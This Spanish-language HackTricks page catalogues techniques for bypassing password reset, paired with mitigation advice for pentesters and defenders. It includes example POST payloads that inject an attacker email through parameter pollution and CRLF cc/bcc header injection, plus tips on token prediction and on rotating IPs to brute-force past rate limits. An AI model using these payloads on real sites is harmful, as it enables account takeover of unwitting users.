Restablecimiento/Olvido de Contraseña Bypass

Reading time: 8 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Filtración del Token de Restablecimiento de Contraseña a Través del Referente

  • El encabezado HTTP referer puede filtrar el token de restablecimiento de contraseña si está incluido en la URL. Esto puede ocurrir cuando un usuario hace clic en un enlace de un sitio web de terceros después de solicitar un restablecimiento de contraseña.
  • Impacto: Toma de control potencial de la cuenta a través de ataques de Cross-Site Request Forgery (CSRF).
  • Explotación: Para verificar si un token de restablecimiento de contraseña se está filtrando en el encabezado referer, solicita un restablecimiento de contraseña a tu dirección de correo electrónico y haz clic en el enlace de restablecimiento proporcionado. No cambies tu contraseña de inmediato. En su lugar, navega a un sitio web de terceros (como Facebook o Twitter) mientras interceptas las solicitudes usando Burp Suite. Inspecciona las solicitudes para ver si el encabezado referer contiene el token de restablecimiento de contraseña, ya que esto podría exponer información sensible a terceros.
  • Referencias:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Artículo sobre la Filtración del Token de Restablecimiento de Contraseña

Envenenamiento del Restablecimiento de Contraseña

  • Los atacantes pueden manipular el encabezado Host durante las solicitudes de restablecimiento de contraseña para apuntar el enlace de restablecimiento a un sitio malicioso.
  • Impacto: Conduce a una posible toma de control de la cuenta al filtrar tokens de restablecimiento a los atacantes.
  • Pasos de Mitigación:
  • Valida el encabezado Host contra una lista blanca de dominios permitidos.
  • Utiliza métodos seguros del lado del servidor para generar URLs absolutas.
  • Parche: Usa $_SERVER['SERVER_NAME'] para construir URLs de restablecimiento de contraseña en lugar de $_SERVER['HTTP_HOST'].
  • Referencias:
  • Artículo de Acunetix sobre el Envenenamiento del Restablecimiento de Contraseña

Restablecimiento de Contraseña Manipulando el Parámetro de Correo Electrónico

Los atacantes pueden manipular la solicitud de restablecimiento de contraseña añadiendo parámetros de correo electrónico adicionales para desviar el enlace de restablecimiento.

  • Agrega el correo electrónico del atacante como segundo parámetro usando &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Agrega el correo electrónico del atacante como segundo parámetro usando %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Agrega el correo electrónico del atacante como segundo parámetro usando |
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Agregar el correo electrónico del atacante como segundo parámetro usando cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Agrega el correo electrónico del atacante como segundo parámetro usando bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Agrega el correo electrónico del atacante como segundo parámetro usando ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Agregar el correo electrónico del atacante como segundo parámetro en el array JSON
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Cambio de Correo Electrónico y Contraseña de Cualquier Usuario a Través de Parámetros de API

  • Los atacantes pueden modificar los parámetros de correo electrónico y contraseña en las solicitudes de API para cambiar las credenciales de la cuenta.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

Sin Limitación de Tasa: Bombardeo de Correos Electrónicos

  • La falta de limitación de tasa en las solicitudes de restablecimiento de contraseña puede llevar a un bombardeo de correos electrónicos, abrumando al usuario con correos de restablecimiento.
  • Pasos de Mitigación:
  • Implementar limitación de tasa basada en la dirección IP o cuenta de usuario.
  • Usar desafíos CAPTCHA para prevenir abusos automatizados.
  • Referencias:
  • Informe de HackerOne 280534

Descubrir Cómo se Genera el Token de Restablecimiento de Contraseña

  • Entender el patrón o método detrás de la generación de tokens puede llevar a predecir o forzar tokens. Algunas opciones:
  • Basado en Timestamp
  • Basado en el UserID
  • Basado en el correo electrónico del Usuario
  • Basado en Nombre y Apellido
  • Basado en Fecha de Nacimiento
  • Basado en Criptografía
  • Pasos de Mitigación:
  • Usar métodos criptográficos fuertes para la generación de tokens.
  • Asegurar suficiente aleatoriedad y longitud para prevenir la predictibilidad.
  • Herramientas: Usar Burp Sequencer para analizar la aleatoriedad de los tokens.

UUID Adivinable

  • Si los UUIDs (versión 1) son adivinables o predecibles, los atacantes pueden forzarlos para generar tokens de restablecimiento válidos. Verifique:

UUID Insecurities

  • Pasos de Mitigación:
  • Usar GUID versión 4 para aleatoriedad o implementar medidas de seguridad adicionales para otras versiones.
  • Herramientas: Usar guidtool para analizar y generar GUIDs.

Manipulación de Respuesta: Reemplazar Respuesta Mala con Buena

  • Manipulando respuestas HTTP para eludir mensajes de error o restricciones.
  • Pasos de Mitigación:
  • Implementar verificaciones del lado del servidor para asegurar la integridad de la respuesta.
  • Usar canales de comunicación seguros como HTTPS para prevenir ataques de intermediarios.
  • Referencia:
  • Error Crítico en Evento de Recompensa por Errores en Vivo

Uso de Token Expirado

  • Probar si los tokens expirados aún pueden ser utilizados para el restablecimiento de contraseña.
  • Pasos de Mitigación:
  • Implementar políticas estrictas de expiración de tokens y validar la expiración del token del lado del servidor.

Fuerza Bruta del Token de Restablecimiento de Contraseña

  • Intentando forzar el token de restablecimiento usando herramientas como Burpsuite e IP-Rotator para eludir límites de tasa basados en IP.
  • Pasos de Mitigación:
  • Implementar mecanismos robustos de limitación de tasa y bloqueo de cuentas.
  • Monitorear actividades sospechosas indicativas de ataques de fuerza bruta.

Intenta Usar Tu Token

  • Probar si el token de restablecimiento del atacante puede ser utilizado junto con el correo electrónico de la víctima.
  • Pasos de Mitigación:
  • Asegurar que los tokens estén vinculados a la sesión del usuario u otros atributos específicos del usuario.

Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña

  • Asegurar que las sesiones se invaliden cuando un usuario cierra sesión o restablece su contraseña.
  • Pasos de Mitigación:
  • Implementar una gestión adecuada de sesiones, asegurando que todas las sesiones se invaliden al cerrar sesión o restablecer la contraseña.

Invalidación de Sesión en Cierre de Sesión/Restablecimiento de Contraseña

  • Los tokens de restablecimiento deben tener un tiempo de expiración después del cual se vuelven inválidos.
  • Pasos de Mitigación:
  • Establecer un tiempo de expiración razonable para los tokens de restablecimiento y hacer cumplir estrictamente esto del lado del servidor.

Referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks